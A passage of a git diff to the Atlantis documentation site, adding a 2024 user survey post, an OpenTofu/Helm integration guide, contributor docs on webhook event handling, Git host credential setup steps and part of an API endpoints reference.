/dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic7.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic8.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic8.webp new file mode 100644 index 0000000000..9220492f87 Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic8.webp differ diff --git a/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic9.webp b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic9.webp new file mode 100644 index 0000000000..1aaad9cc7b Binary files /dev/null and b/runatlantis.io/blog/2019/4-reasons-to-try-hashicorps-new-free-terraform-remote-state-storage/pic9.webp differ diff --git a/runatlantis.io/blog/2024/april-2024-survey-results.md b/runatlantis.io/blog/2024/april-2024-survey-results.md new file mode 100644 index 0000000000..57623a0757 --- /dev/null +++ b/runatlantis.io/blog/2024/april-2024-survey-results.md @@ -0,0 +1,56 @@ +--- +title: Atlantis User Survey Results +lang: en-US +--- + +# Atlantis User Survey Results + +In April 2024, the Core Atlantis Team launched an anonymous survey of our users. Over the two months the survey was open we received 354 responses, which we will use to better understand our community's needs and help prioritize our roadmap. + +Overall, the results below show that we have a diverse set of enthusiastic users, and that though many are still the classic Atlantis setup (a handful of repos running terraform against AWS in GitHub), there are many different use cases and directions the community are going and would like to see Atlantis support. + +We are grateful for everyone who took the time to share their experiences with Atlantis. We plan to run this kind of survey on a semi-regular basis, stay tuned! + +## Anonymized Results + +### How do you interact with Atlantis? + +![](april-2024-survey-results/interact.webp) + +Unsurprisingly, most users of Atlantis wear multiple hats, involved throughout the development process. + +### How do you/your organization deploy Atlantis + +![](april-2024-survey-results/deploy.webp) + +Most users of terraform deploy using Kubernetes and/or AWS. "Other Docker" use docker but do not use EKS or Helm directly, while a minority use some other combination of technologies. + +### What Infrastructure as Code (IaC) tool(s) do you use with Atlantis? + +![](april-2024-survey-results/iac.webp) + +The vast majority of Atlantis users are still using terraform as some part of their deployment. About half of them are in addition using Terragrunt, and OpenTofu seems to be gaining some ground. + +### How many repositories does your Atlantis manage? + +![](april-2024-survey-results/repos.webp) + +Most users have relatively modest footprints to managed with Atlantis (though a few large monorepos could be obscured in the numbers). + +### Which Version Control Systems (VCSs) do you use? + +![](april-2024-survey-results/vcs.webp) + +Most users of Atlantis are using GitHub, with a sizeable chunk on GitLab, followed by Bitbucket and others. This is analogous to the support and feature requests that the maintainers see for the various VCSs in the codebase. + +### What is the most important feature you find missing from Atlantis? + +![](april-2024-survey-results/features.webp) + +This being a free form question, there was a long tail of responses, so the above only shows answers after normalizing that had three or more instances. + +Drift Detection as well as infrastructure improvements were the obvious winners here. After that, users focused on various integrations and improvements to the UI. + +## Conclusion + +It is always interesting and exciting for the core team to see the breadth of the use of Atlantis, and we look forward to using this information to understand the needs of the community. Atlantis has always been a community led effort, and we hope to continue to carry that spirit forward! diff --git a/runatlantis.io/blog/2024/april-2024-survey-results/deploy.webp b/runatlantis.io/blog/2024/april-2024-survey-results/deploy.webp new file mode 100644 index 0000000000..38b721ccaa Binary files /dev/null and b/runatlantis.io/blog/2024/april-2024-survey-results/deploy.webp differ diff --git a/runatlantis.io/blog/2024/april-2024-survey-results/features.webp b/runatlantis.io/blog/2024/april-2024-survey-results/features.webp new file mode 100644 index 0000000000..d116d5ab5f Binary files /dev/null and b/runatlantis.io/blog/2024/april-2024-survey-results/features.webp differ diff --git a/runatlantis.io/blog/2024/april-2024-survey-results/iac.webp b/runatlantis.io/blog/2024/april-2024-survey-results/iac.webp new file mode 100644 index 0000000000..793dba5de6 Binary files /dev/null and b/runatlantis.io/blog/2024/april-2024-survey-results/iac.webp differ diff --git a/runatlantis.io/blog/2024/april-2024-survey-results/interact.webp b/runatlantis.io/blog/2024/april-2024-survey-results/interact.webp new file mode 100644 index 0000000000..0eca135b15 Binary files /dev/null and b/runatlantis.io/blog/2024/april-2024-survey-results/interact.webp differ diff --git a/runatlantis.io/blog/2024/april-2024-survey-results/repos.webp b/runatlantis.io/blog/2024/april-2024-survey-results/repos.webp new file mode 100644 index 0000000000..6e15d4e9f6 Binary files /dev/null and b/runatlantis.io/blog/2024/april-2024-survey-results/repos.webp differ diff --git a/runatlantis.io/blog/2024/april-2024-survey-results/vcs.webp b/runatlantis.io/blog/2024/april-2024-survey-results/vcs.webp new file mode 100644 index 0000000000..628ab3869d Binary files /dev/null and b/runatlantis.io/blog/2024/april-2024-survey-results/vcs.webp differ diff --git a/runatlantis.io/blog/2024/integrating-atlantis-with-opentofu.md b/runatlantis.io/blog/2024/integrating-atlantis-with-opentofu.md new file mode 100644 index 0000000000..574017fb71 --- /dev/null +++ b/runatlantis.io/blog/2024/integrating-atlantis-with-opentofu.md @@ -0,0 +1,200 @@ +--- +title: Integrating Atlantis with Opentofu +lang: en-US +--- + +# Integrating Atlantis with Opentofu + +::: info +This post was originally written on May 27nd, 2024 +Original post: +::: + +## What was our motivation? + +Due to the Terraform license change, many companies are migrating their IAC processes to OpenTofu, with this in mind and knowing that many of them use Atlantis and Terraform as infrastructure delivery automation, I created this documentation showing what to do to integrate Atlantis with OpenTofu. + +Stack: Atlantis, Terragrunt, OpenTofu, Github, ALB, EKS. + +We will implement it with your [Helm chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart): + +**1** - Add the runatlantis repository. + +```sh +helm repo add runatlantis https://runatlantis.github.io/helm-charts +``` + +**2** - Create file values.yaml and run: + +```sh +helm inspect values runatlantis/atlantis > values.yaml +``` + +**3** - Edit the file values.yaml and add your credentials access and secret which will be used in the Atlantis webhook configuration: +See as create a [GitHubApp](https://docs.github.com/pt/apps/creating-github-apps/about-creating-github-apps). + +```yaml +githubApp: + id: "CHANGE ME" + key: | + -----BEGIN RSA PRIVATE KEY----- + "CHANGE ME" + -----END RSA PRIVATE KEY----- + slug: atlantis +# secret webhook Atlantis + secret: "CHANGE ME" +``` + +**4** - Enter the org and repository from github that Atlantis will interact in orgAllowlist: + +```yaml +# All repositories the org +orgAllowlist: github.com/MY-ORG/* + +or +# Just one repository +orgAllowlist: github.com/MY-ORG/MY-REPO-IAC + +or +# All repositories that start with MY-REPO-IAC- +orgAllowlist: github.com/MY-ORG/MY-REPO-IAC-* +``` + +**5** - Now let’s configure the script that will be executed upon startup of the Atlantis init pod. In this step we download and install Terragrunt and OpenTofu, as well as include their binaries in the shared dir ```/plugins```. + +```yaml +initConfig: + enabled: true + image: alpine:latest + imagePullPolicy: IfNotPresent + # sharedDir is set as env var INIT_SHARED_DIR + sharedDir: /plugins + workDir: /tmp + sizeLimit: 250Mi + # example of how the script can be configured to install tools/providers required by the atlantis pod + script: | + #!/bin/sh + set -eoux pipefail# terragrunt + TG_VERSION="0.55.10" + TG_SHA256_SUM="1ad609399352348a41bb5ea96fdff5c7a18ac223742f60603a557a54fc8c6cff" + TG_FILE="${INIT_SHARED_DIR}/terragrunt" + wget https://github.com/gruntwork-io/terragrunt/releases/download/v${TG_VERSION}/terragrunt_linux_amd64 -O "${TG_FILE}" + echo "${TG_SHA256_SUM} ${TG_FILE}" | sha256sum -c + chmod 755 "${TG_FILE}" + terragrunt -v + + # OpenTofu + TF_VERSION="1.6.2" + TF_FILE="${INIT_SHARED_DIR}/tofu" + wget https://github.com/opentofu/opentofu/releases/download/v${TF_VERSION}/tofu_${TF_VERSION}_linux_amd64.zip + unzip tofu_${TF_VERSION}_linux_amd64.zip + mv tofu ${INIT_SHARED_DIR} + chmod 755 "${TF_FILE}" + tofu -v +``` + +**6** - Here we configure the envs to avoid downloading alternative versions of Terraform and indicate to Terragrunt where it should fetch the OpenTofu binary. + +```yaml +# envs +environment: + ATLANTIS_TF_DOWNLOAD: false + TERRAGRUNT_TFPATH: /plugins/tofu +``` + +**7** - Last but not least, here we specify which Atlantis-side configurations we will have for the repositories. + +```yaml +# repository config +repoConfig: | + --- + repos: + - id: /.*/ + apply_requirements: [approved, mergeable] + allow_custom_workflows: true + allowed_overrides: [workflow, apply_requirements, delete_source_branch_on_merge] +``` + +**8** - Configure Atlantis webhook ingress, in the example below we are using the AWS ALB. + +```yaml +# ingress config +ingress: + annotations: + alb.ingress.kubernetes.io/backend-protocol: HTTP + alb.ingress.kubernetes.io/certificate-arn: arn:aws:acm:certificate + alb.ingress.kubernetes.io/group.name: external-atlantis + alb.ingress.kubernetes.io/healthcheck-path: /healthz + alb.ingress.kubernetes.io/healthcheck-port: "80" + alb.ingress.kubernetes.io/healthcheck-protocol: HTTP + alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}]' + alb.ingress.kubernetes.io/scheme: internet-facing + alb.ingress.kubernetes.io/ssl-redirect: "443" + alb.ingress.kubernetes.io/success-codes: "200" + alb.ingress.kubernetes.io/target-type: ip + apiVersion: networking.k8s.io/v1 + enabled: true + host: atlantis.your.domain + ingressClassName: aws-ingress-class-name + path: /* + pathType: ImplementationSpecific +``` + +Save all changes made to ```values.yaml``` + +**9** - Using one of the Atlantis options custom workflows, we can create a file ```atlantis.yaml``` in the root folder of your repository, the example below should meet most scenarios, adapt as needed. + +```yaml +version: 3 +automerge: true +parallel_plan: true +parallel_apply: false +projects: +- name: terragrunt + dir: . + workspace: terragrunt + delete_source_branch_on_merge: true + autoplan: + enabled: false + apply_requirements: [mergeable, approved] + workflow: terragrunt +workflows: + terragrunt: + plan: + steps: + - env: + name: TF_IN_AUTOMATION + value: 'true' + - run: find . -name '.terragrunt-cache' | xargs rm -rf + - run: terragrunt init -reconfigure + - run: + command: terragrunt plan -input=false -out=$PLANFILE + output: strip_refreshing + apply: + steps: + - run: terragrunt apply $PLANFILE +``` + +**10** - Now let’s go to the installation itself, search for the available versions of Atlantis: + +```sh +helm search repo runatlantis +``` + +Replace ```CHART-VERSION``` with the version you want to install and run the command below: + +```sh +helm upgrade -i atlantis runatlantis/atlantis --version CHART-VERSION -f values.yaml --create-namespace atlantis +``` + +Now, see as configure Atlantis [webhook on github](../../docs/configuring-webhooks.md) repository. + +See as Atlantis [work](../../docs/using-atlantis.md). + +Find out more at: + +- . +- . +- . + +Share it with your friends =) diff --git a/runatlantis.io/contributing.md b/runatlantis.io/contributing.md new file mode 100644 index 0000000000..3d8e24de16 --- /dev/null +++ b/runatlantis.io/contributing.md @@ -0,0 +1,17 @@ +--- +aside: false +--- +# Atlantis Contributing Documentation + +These docs are for users who want to contribute to the Atlantis project. This +can vary from writing documentation, helping the community on Slack, discussing +issues, or writing code. + +:::tip Looking to get started or use Atlantis? +If you're new, check out the [Guide](./guide.md) or the +[Documentation](./docs.md). +::: + +## Next Steps + +- [Events Controller](./contributing/events-controller.md)  â€“  How do the events work? diff --git a/runatlantis.io/contributing/events-controller.md b/runatlantis.io/contributing/events-controller.md new file mode 100644 index 0000000000..be531741d5 --- /dev/null +++ b/runatlantis.io/contributing/events-controller.md @@ -0,0 +1,108 @@ +# Events Controller + +Webhooks are the primary interaction between the Version Control System (VCS) +and Atlantis. Each VCS sends the requests to the `/events` endpoint. The +implementation of this endpoint can be found in the +[events_controller.go](https://github.com/runatlantis/atlantis/blob/main/server/controllers/events/events_controller.go) +file. This file contains the Post function `func (e *VCSEventsController) +Post(w http.ResponseWriter, r *http.Request`)` that parses the request +according to the configured VCS. + +Atlantis currently handles one of the following events: + +- Comment Event +- Pull Request Event + +All the other events are ignored. + +```mermaid +--- +title: events controller flowchart +--- +flowchart LR + events(/events - Endpoint) --> Comment_Event(Comment - Event) + events --> Pull_Request_Event(Pull Request - Event) + + Comment_Event --> pre_workflow(pre-workflow - Hook) + pre_workflow --> plan(plan - command) + pre_workflow --> apply(apply - command) + pre_workflow --> approve_policies(approve policies - command) + pre_workflow --> unlock(unlock - command) + pre_workflow --> version(version - command) + pre_workflow --> import(import - command) + pre_workflow --> state(state - command) + + plan --> post_workflow(post-workflow - Hook) + apply --> post_workflow + approve_policies --> post_workflow + unlock --> post_workflow + version --> post_workflow + import --> post_workflow + state --> post_workflow + + Pull_Request_Event --> Open_Update_PR(Open / Update Pull Request) + Pull_Request_Event --> Close_PR(Close Pull Request) + + Open_Update_PR --> pre_workflow(pre-workflow - Hook) + Close_PR --> plan(plan - command) + + pre_workflow --> plan + plan --> post_workflow(post-workflow - Hook) + + Close_PR --> CleanUpPull(CleanUpPull) + CleanUpPull --> post_workflow(post-workflow - Hook) +``` + +## Comment Event + +This event is triggered whenever a user enters a comment on the Pull Request, +Merge Request, or whatever it's called for the respective VCS. After parsing the +VCS-specific request, the code calls the `handleCommentEvent` function, which +then passes the processing to the `handleCommentEvent` function in the +[command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/command_runner.go) +file. This function first calls the pre-workflow hooks, then executes one of the +below-listed commands and, at last, the post-workflow hooks. + +- [plan_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/plan_command_runner.go) +- [apply_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/apply_command_runner.go) +- [approve_policies_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/approve_policies_command_runner.go) +- [unlock_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/unlock_command_runner.go) +- [version_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/version_command_runner.go) +- [import_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/import_command_runner.go) +- [state_command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/state_command_runner.go) + +## Pull Request Event + +To handle comment events on Pull Requests, they must be created first. Atlantis +also allows the running of commands for certain Pull Requests events. + +
+ Pull Request Webhooks + +The list below links to the supported VCSs and their Pull Request Webhook +documentation. + +- [Azure DevOps Pull Request Created](https://learn.microsoft.com/en-us/azure/devops/service-hooks/events?view=azure-devops#pull-request-created) +- [BitBucket Pull Request](https://support.atlassian.com/bitbucket-cloud/docs/event-payloads/#Pull-request-events) +- [GitHub Pull Request](https://docs.github.com/en/webhooks/webhook-events-and-payloads#pull_request) +- [GitLab Merge Request](https://docs.gitlab.com/user/project/integrations/webhook_events/#merge-request-events) +- [Gitea Webhooks](https://docs.gitea.com/next/usage/webhooks) + +
+ +The following list shows the supported events: + +- Opened Pull Request +- Updated Pull Request +- Closed Pull Request +- Other Pull Request event + +The `RunAutoPlanCommand` function in the +[command_runner.go](https://github.com/runatlantis/atlantis/blob/main/server/events/command_runner.go) +file is called for the _Open_ and _Update_ Pull Request events. When enabled on +the project, this automatically runs the `plan` for the specific repository. + +Whenever a Pull Request is closed, the `CleanUpPull` function in the +[instrumented_pull_closed_executor.go](https://github.com/runatlantis/atlantis/blob/main/server/events/instrumented_pull_closed_executor.go) +file is called. This function cleans up all the closed Pull Request files, +locks, and other related information. diff --git a/runatlantis.io/contributing/glossary.md b/runatlantis.io/contributing/glossary.md new file mode 100644 index 0000000000..99c1e73287 --- /dev/null +++ b/runatlantis.io/contributing/glossary.md @@ -0,0 +1,26 @@ +# Glossary + +The Atlantis community uses many words and phrases to work more efficiently. +You will find the most common ones and their meaning on this page. + +## Pull / Merge Request Event + +The different VCSs have different names for merging changes. Atlantis uses the +name Pull Request as the abstraction. The VCS provider implements this +abstraction and forwards the call to the respective function. + +## VCS + +VCS stands for Version Control System. + +Atlantis supports only git as a Version Control System. However, there is +support for multiple VCS Providers. Currently, it supports the following +providers: + +- [Azure DevOps](https://azure.microsoft.com/en-us/products/devops) +- [BitBucket](https://bitbucket.org/) +- [GitHub](https://github.com/) +- [GitLab](https://gitlab.com/) +- [Gitea](https://gitea.com/) + +The term VCS is used for both git and the different VCS providers. diff --git a/runatlantis.io/docs.md b/runatlantis.io/docs.md new file mode 100644 index 0000000000..23b27f1c32 --- /dev/null +++ b/runatlantis.io/docs.md @@ -0,0 +1,18 @@ +--- +aside: false +--- +# Atlantis Documentation + +These docs are for users that are ready to get Atlantis installed and start using it. + +:::tip Looking to get started? +If you're new here, check out the [Guide](./guide.md) +where you can try our [Test Drive](./guide/test-drive.md) or [Run Atlantis Locally](./guide/testing-locally.md). +::: + +## Next Steps + +* [Installing Atlantis](./docs/installation-guide.md)  â€“  Get Atlantis up and running +* [Configuring Atlantis](./docs/configuring-atlantis.md)  â€“  Configure how Atlantis works for your specific use-cases +* [Using Atlantis](./docs/using-atlantis.md)  â€“  How do you use Atlantis? +* [How Atlantis Works](./docs/how-atlantis-works.md)  â€“  Internals of what Atlantis is doing diff --git a/runatlantis.io/docs/README.md b/runatlantis.io/docs/README.md deleted file mode 100644 index 5527692cf5..0000000000 --- a/runatlantis.io/docs/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# Atlantis Documentation - -These docs are for users that are ready to get Atlantis installed and start using it. - -:::tip Looking to get started? -If you're new here, check out the [Guide](/guide/) -where you can try our [Test Drive](/guide/test-drive.html) or [Run Atlantis Locally](/guide/testing-locally.html). -::: - -### Next Steps -* [Installing Atlantis](/docs/installation-guide.html)  â€“  Get Atlantis up and running -* [Configuring Atlantis](configuring-atlantis.html)  â€“  Configure how Atlantis works for your specific use-cases -* [Using Atlantis](using-atlantis.html)  â€“  How do you use Atlantis? -* [How Atlantis Works](how-atlantis-works.html)  â€“  Internals of what Atlantis is doing diff --git a/runatlantis.io/docs/access-credentials.md b/runatlantis.io/docs/access-credentials.md index 89a71837c5..bc12584f6f 100644 --- a/runatlantis.io/docs/access-credentials.md +++ b/runatlantis.io/docs/access-credentials.md @@ -1,10 +1,11 @@ # Git Host Access Credentials -This page describes how to create credentials for your Git host (GitHub, GitLab, Bitbucket, or Azure DevOps) + +This page describes how to create credentials for your Git host (GitHub, GitLab, Gitea, Bitbucket, or Azure DevOps) that Atlantis will use to make API calls. -[[toc]] ## Create an Atlantis user (optional) + We recommend creating a new user named **@atlantis** (or something close) or using a dedicated CI user. This isn't required (you can use an existing user or github app credentials), however all the comments that Atlantis writes @@ -14,19 +15,28 @@ will come from that user so it might be confusing if its coming from a personal

An example comment coming from the @atlantisbot user

## Generating an Access Token + Once you've created a new user (or decided to use an existing one), you need to generate an access token. Read on for the instructions for your specific Git host: + * [GitHub](#github-user) * [GitHub app](#github-app) * [GitLab](#gitlab) +* [Gitea](#gitea) * [Bitbucket Cloud (bitbucket.org)](#bitbucket-cloud-bitbucket-org) * [Bitbucket Server (aka Stash)](#bitbucket-server-aka-stash) * [Azure DevOps](#azure-devops) ### GitHub user -- Create a Personal Access Token by following: [https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/#creating-a-token](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/#creating-a-token) -- Create the token with **repo** scope -- Record the access token + +* Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token) +* Create the token with **repo** scope + * The following repository permissions are the minimum required: + * Commit statuses: read and write (to update the PR with indicators of plan/apply/policy job states) + * Contents: read only (to fetch the files changed and clone the repository) + * Metadata: read only (this will be automatically selected as mandatory when Contents is set to read-only) + * Pull requests: read and write (to comment and react on the PR) +* Record the access token ::: warning Your Atlantis user must also have "Write permissions" (for repos in an organization) or be a "Collaborator" (for repos in a user account) to be able to set commit statuses: ![Atlantis status](./images/status.png) @@ -34,49 +44,123 @@ Your Atlantis user must also have "Write permissions" (for repos in an organizat ### GitHub app +#### Create the GitHub App Using Atlantis + ::: warning Available in Atlantis versions **newer** than 0.13.0. ::: +* Start Atlantis with fake github username and token (`atlantis server --gh-user fake --gh-token fake --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`). If installing as an **Organization**, remember to add `--gh-org your-github-org` to this command. +* Visit `https://$ATLANTIS_HOST/github-app/setup` and click on **Setup** to create the app on GitHub. You'll be redirected back to Atlantis +* A link to install your app, along with its secrets, will be shown on the screen. Record your app's credentials and install your app for your user/org by following said link. +* Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` +* Restart Atlantis with new flags: `atlantis server --gh-app-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. -- Start Atlantis with fake github username and token (`atlantis server --gh-user fake --gh-token fake --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`). If installing as an **Organization**, remember to add `--gh-org your-github-org` to this command. -- Visit `https://$ATLANTIS_HOST/github-app/setup` and click on **Setup** to create the app on Github. You'll be redirected back to Atlantis -- A link to install your app, along with its secrets, will be shown on the screen. Record your app's credentials and install your app for your user/org by following said link. -- Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` -- Restart Atlantis with new flags: `atlantis server --gh-app-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. - - NOTE: You can also create a config file instead of using flags. See [Server Configuration](/docs/server-configuration.html#config-file). + NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](server-configuration.md#config-file). ::: warning Only a single installation per GitHub App is supported at the moment. ::: +::: tip NOTE +GitHub App handles the webhook calls by itself, hence there is no need to create webhooks separately. If webhooks were created manually, those should be removed when using GitHub App. Otherwise, there would be 2 calls to Atlantis resulting in locking errors on path/workspace. +::: + +#### Manually Creating the GitHub app + +* Create the GitHub app as an Administrator + * Ensure the app is registered / installed with the organization / user + * See the GitHub app [documentation](https://docs.github.com/en/apps/creating-github-apps/about-creating-github-apps/about-creating-github-apps) +* Create a file with the contents of the GitHub App Key, e.g. `atlantis-app-key.pem` +* Start Atlantis with the following flags: `atlantis server --gh-app-id --gh-installation-id --gh-app-key-file atlantis-app-key.pem --gh-webhook-secret --write-git-creds --repo-allowlist 'github.com/your-org/*' --atlantis-url https://$ATLANTIS_HOST`. + + NOTE: Instead of using a file for the GitHub App Key you can also pass the key value directly using `--gh-app-key`. You can also create a config file instead of using flags. See [Server Configuration](server-configuration.md#config-file). + +::: tip NOTE +Manually installing the GitHub app means that the credentials can be shared by many Atlantis installations. This has the benefit of centralizing repository access for shared modules / code. +::: + +::: tip NOTE +Repositories must be manually registered with the created GitHub app to allow Atlantis to interact with Pull Requests. +::: + +::: tip NOTE +Webhooks must be created manually for repositories that trigger Atlantis. +::: + +::: tip NOTE +Passing the additional flag `--gh-app-slug` will modify the name of the App when posting comments on a Pull Request. +::: + +#### Permissions + +GitHub App needs these permissions. These are automatically set when a GitHub app is created. + +::: tip NOTE +Since v0.19.7, a new permission for `Administration` has been added. If you have already created a GitHub app, updating Atlantis to v0.19.7 will not automatically add this permission, so you will need to set it manually. + +Since v0.22.3, a new permission for `Members` has been added, which is required for features that apply permissions to an organizations team members rather than individual users. Like the `Administration` permission above, updating Atlantis will not automatically add this permission, so if you wish to use features that rely on checking team membership you will need to add this manually. + +Since v0.30.0, a new permission for `Actions` has been added, which is required for checking if a pull request is mergable while bypassing the apply check. Updating Atlantis will not automatically add this permission, so you will need to add this manually. +::: + +| Type | Access | +| --------------- | ------------------- | +| Administration | Read-only | +| Checks | Read and write | +| Commit statuses | Read and write | +| Contents | Read and write | +| Issues | Read and write | +| Metadata | Read-only (default) | +| Pull requests | Read and write | +| Webhooks | Read and write | +| Members | Read-only | +| Actions | Read-only | + ### GitLab -- Follow: [https://docs.gitlab.com/ce/user/profile/personal_access_tokens.html#creating-a-personal-access-token](https://docs.gitlab.com/ce/user/profile/personal_access_tokens.html#creating-a-personal-access-token) -- Create a token with **api** scope -- Record the access token + +* Follow: [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token) +* Create a token with **api** scope +* Record the access token + +### Gitea + +* Go to "Profile and Settings" > "Settings" in Gitea (top-right) +* Go to "Applications" under "User Settings" in Gitea +* Create a token under the "Manage Access Tokens" with the following permissions: + * issue: Read and Write + * repository: Read and Write + * user: Read +* Record the access token ### Bitbucket Cloud (bitbucket.org) -- Create an App Password by following [https://confluence.atlassian.com/bitbucket/app-passwords-828781300.html#Apppasswords-Createanapppassword](https://confluence.atlassian.com/bitbucket/app-passwords-828781300.html#Apppasswords-Createanapppassword) -- Label the password "atlantis" -- Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them -- Record the access token + +* Create an App Password by following [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/) +* Label the password "atlantis" +* Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them. If you want to enable the [hide-prev-plan-comments](server-configuration.md#hide-prev-plan-comments) feature and thus delete old comments, please add **Account**: **Read** as well. +* Record the access token ### Bitbucket Server (aka Stash) -- Click on your avatar in the top right and select **Manage account** -- Click **Personal access tokens** in the sidebar -- Click **Create a token** -- Name the token **atlantis** -- Give the token **Read** Project permissions and **Write** Pull request permissions -- Click **Create** and record the access token + +* Click on your avatar in the top right and select **Manage account** +* Click **Personal access tokens** in the sidebar +* Click **Create a token** +* Name the token **atlantis** +* Give the token **Read** Project permissions and **Write** Pull request permissions +* Click **Create** and record the access token + + NOTE: Atlantis will send the token as a [Bearer Auth to the Bitbucket API](https://confluence.atlassian.com/bitbucketserver/http-access-tokens-939515499.html#HTTPaccesstokens-UsingHTTPaccesstokens) instead of using Basic Auth. ### Azure DevOps -- Create a Personal access token by following [https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops](https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops) -- Label the password "atlantis" -- The minimum scopes required for this token are: - - Code (Read & Write) - - Code (Status) -- Record the access token + +* Create a Personal access token by following [Azure DevOps: Use personal access tokens to authenticate](https://docs.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops) +* Label the password "atlantis" +* The minimum scopes required for this token are: + * Code (Read & Write) + * Code (Status) + * Member Entitlement Management (Read) +* Record the access token ## Next Steps -Once you've got your user and access token, you're ready to create a webhook secret. See [Creating a Webhook Secret](webhook-secrets.html). + +Once you've got your user and access token, you're ready to create a webhook secret. See [Creating a Webhook Secret](webhook-secrets.md). diff --git a/runatlantis.io/docs/api-endpoints.md b/runatlantis.io/docs/api-endpoints.md new file mode 100644 index 0000000000..cd104ea6d2 --- /dev/null +++ b/runatlantis.io/docs/api-endpoints.md @@ -0,0 +1,240 @@ +# API Endpoints + +Aside from interacting via pull request comments, Atlantis could respond to a limited number of API endpoints. + +## Main Endpoints + +The API endpoints in this section are disabled by default, since these API endpoints could change the infrastructure directly. +To enable the API endpoints, `api-secret` should be configured. + +:::tip Prerequisites + +* Set `api-secret` as part of the [Server Configuration](server-configuration.md#api-secret) +* Pass `X-Atlantis-Token` with the same secret in the request header + ::: + +### POST /api/plan + +#### Description + +Execute [atlantis plan](using-atlantis.md#atlantis-plan) on the specified repository. + +#### Parameters + +| Name | Type | Required | Description | +|------------|---------|----------|------------------------------------------| +| Repository | string | Yes | Name of the Terraform repository | +| Ref | string | Yes | Git reference, like a branch name | +| Type | string | Yes | Type of the VCS provider (Github/Gitlab) | +| Paths | Path | Yes | Paths to the projects to run the plan | +| PR | int | No | Pull Request number | + +#### Path + +Similar to the [Options](using-atlantis.md#options) of `atlantis plan`. Path specifies which directory/workspace +within the repository to run the plan. +At least one of `Directory` or `Workspace` should be specified. + +| Name | Type | Required | Description | +|-----------|--------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------| +| Directory | string | No | Which directory to run plan in relative to root of repo | +| Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) of the plan. Use `default` if Terraform workspaces are unused. | + +#### Sample Request + +```shell +curl --request POST 'https:///api/plan' \ +--header 'X-Atlantis-Token: ' \ +--header 'Content-Type: application/json' \ +--data-raw '{ + "Repository": "repo-name", + "Ref": "main", + "Type": "Github", + "Paths": [{ + "Directory": ".", + "Workspace": "default" + }], + "PR": 2 +}' +``` + +#### Sample Response + +```json +{ + "Error": null, + "Failure": "", + "ProjectResults": [ + { + "Command": 1, + "RepoRelDir": ".", + "Workspace": "default", + "Error": null, + "Failure": "", + "PlanSuccess": { + "TerraformOutput": "", + "LockURL": "", + "RePlanCmd": "atlantis plan -d .", + "ApplyCmd": "atlantis apply -d .", + "HasDiverged": false + }, + "PolicyCheckSuccess": null, + "ApplySuccess": "", + "VersionSuccess": "", + "ProjectName": "" + } + ], + "PlansDeleted": false +} +``` + +### POST /api/apply + +#### Description + +Execute [atlantis apply](using-atlantis.md#atlantis-apply) on the specified repository. + +#### Parameters + +| Name | Type | Required | Description | +|------------|--------|----------|------------------------------------------| +| Repository | string | Yes | Name of the Terraform repository | +| Ref | string | Yes | Git reference, like a branch name | +| Type | string | Yes | Type of the VCS provider (Github/Gitlab) | +| Paths | Path | Yes | Paths to the projects to run the apply | +| PR | int | No | Pull Request number | + +#### Path + +Similar to the [Options](using-atlantis.md#options-1) of `atlantis apply`. Path specifies which directory/workspace +within the repository to run the apply. +At least one of `Directory` or `Workspace` should be specified. + +| Name | Type | Required | Description | +|-----------|--------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------| +| Directory | string | No | Which directory to run apply in relative to root of repo | +| Workspace | string | No | [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) of the plan. Use `default` if Terraform workspaces are unused. | + +#### Sample Request + +```shell +curl --request POST 'https:///api/apply' \ +--header 'X-Atlantis-Token: ' \ +--header 'Content-Type: application/json' \ +--data-raw '{ + "Repository": "repo-name", + "Ref": 